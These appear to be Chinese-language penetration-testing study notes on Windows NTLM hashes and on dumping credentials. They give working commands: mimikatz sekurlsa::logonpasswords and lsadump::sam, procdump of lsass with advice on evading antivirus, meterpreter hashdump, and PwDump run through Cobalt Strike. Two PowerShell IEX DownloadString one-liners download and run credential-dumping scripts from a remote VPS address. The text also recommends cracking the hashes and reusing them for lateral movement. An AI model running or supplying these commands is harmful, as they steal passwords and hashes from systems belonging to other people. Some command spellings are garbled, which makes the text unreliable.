一、hash简介
1、Windows系统使用两种方法对用户的密码进行哈希处理。它们分别是LAN Manager(LM)哈希和
NT LAN Manager(NTLM)哈希
2、所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的
字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串
3、现在已经有了更新的NTLMV2以及Kerberos验证体系
4、Windows加密过的密码口令;我们称之为hash,windows的系统密码hash默认情况下一般由两部
分组成:第一部分是LM-hash,第二部是NTLM-hash(以:分隔)
默认使用的是NTLM的哈希值(知道LM的哈希就行)
格式:
5、windows认证基础
windows的认证包括三个部分:(此处自己去了解)
①本地认证:用户直接操作计算机登录账号(平时登录)
1、用户输入密码
2、系统收到密码后将用户输入的密码计算成NTLM Hash
3、与sam数据库(安全账户管理器)(%SystemRoot%\system32\config\sam)中该用户的哈希比对
sam直接打是打不开的,需要安全模式或者其他方式,后续补充
4、匹配则登录成功,不匹配则登陆失败
5、NTLM哈希,是一种单向哈希算法,windows将用户的密码计算成NTLM哈希之后才存储在电脑。
6、本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程
将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进
程中读取到的
简单的ntlm哈希可以进行解密
网址:md5在线解密破解,md5解密加密 (cmd5.com)
②网络认证:远程连接到工作组中的某个设备(远程ftp,文件共享)
③域认证:登录到域环境中的某个设备
二、系统用户密码凭证获取
1、凭证获取工具
①mimikatz(此处是2.0)
读取系统的密码和解密特定的加密的密码
win10下载地址:Releases · gentilkiwi/mimikatz (github.com)(可以不下载源码,下第二个)
一般都是非交互式,除非你拿到这个shell,传了此软件后,再交互执行
本地非交互式凭证获取:
直接以管理员权限运行mimikatz(交互式)
交互式测试可以按照①依次执行查看效果(拿到NLTM hash去尝试进行解密(不一定可解))
后期可以利用hash值横向渗透
privilege::debug token::list
①mimikatz.exe "log rs.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
获取明文密码:
②mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
后面执行结果写入rs.txt 进行提权(调试模式:需要管理员权限) sam数据库中获取hash值
1.0版本命令:
privilege:debug //提升权限
inject:process lsass.exe sekurlsa.dll //注入sekurlsa.dll 到lsass.exe 进程里
@getLogonPasswords //获取密码
②powershell脚本
远程加载m脚本(获取系统当中明文密码)此方法不推荐使用
powershell lEX (New-Object Net.WebClient).DownloadString(http://47.101.214.85:8000/Invoke-MimikatZ.ps1');Invoke-Mimikatz -DumpCreds
别名 创建对象为Net.webClient 方法 (脚本存放位置:此处为vps服务器上) ;分隔 调用命令执行(请求vps脚本去加载)
python3 -m http.server 8080(用于测试和开发,在服务器的指定端口开启一个服务)
不知道命令作用含义可以 get-help 参数+百度翻译
powershell的基本使用(自己去了解)比cmd强大一点
脚本要会看
powershell lEX(new-object net.webclient)downloadstring(http://47.101.214.85:8000/Get-PassHashes.ps1');Get-PassHashes
列出了当前NTLM的哈希和lm的哈希
③wce
下载地址:Releases · returnvar/wce (github.com)Amplia Security - Research - Windows Credentials Editor (WCE)
方法2:kali中文件下载到windows机器中
kali中自带有/usr/share/windows-resources/wce,可以在kali中开个http服务,供下载
到需要开启下载的目录 ,这里以wce为示例:
cd /usr/share/windows-resources/wce
python3 -m http.server 11111(在11111号端口开启http服务)
此时可以在windows中访问 192.168.129.132:11111//usr/share/windows-resources/wce
此时就可以进行下载
ctrl+c退出服务(不放心可以netstat -anltup | grep 11111)
软件运行不了(后期再看)下载地址:Releases · returnvar/wce (github.com)
④pwddump7
下载地址:https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
也运行不了
⑤ophcrack
下载地址:OphCrack 下载 |SourceForge.net
网站破解不了哈希值的话,配合彩虹表破解
彩虹表:
https://ophcrack.sourceforge.io/tables.phphttp://project-rainbowcrack.com/table.htm
⑥procdump+mimikatz
下载地址:ProcDump - Sysinternals | Microsoft Learn
微软的(有签名)可以绕过杀软
procdump lass进程导出
mimikatz执行需要免杀
⑦注册表导出hash
⑧lazagne
LaZagne.exe all
⑨meterpreter获取哈希(功能多,掉了不好搞)
hashdmp
需要管理员权限get system提权 之后直接执行hashdump里边也集成了mimikatz模块
⑩cobaltsritle获取哈希(cs方便一点)
得到shell会话后(不建议调为0容易被发现查杀)
b里边执行就行
例如在cs中通过upload上传wce到目标机器上(指定目录)
shell PwDump7.exe>1.txt
一、hash简介
二、系统用户密码凭证获取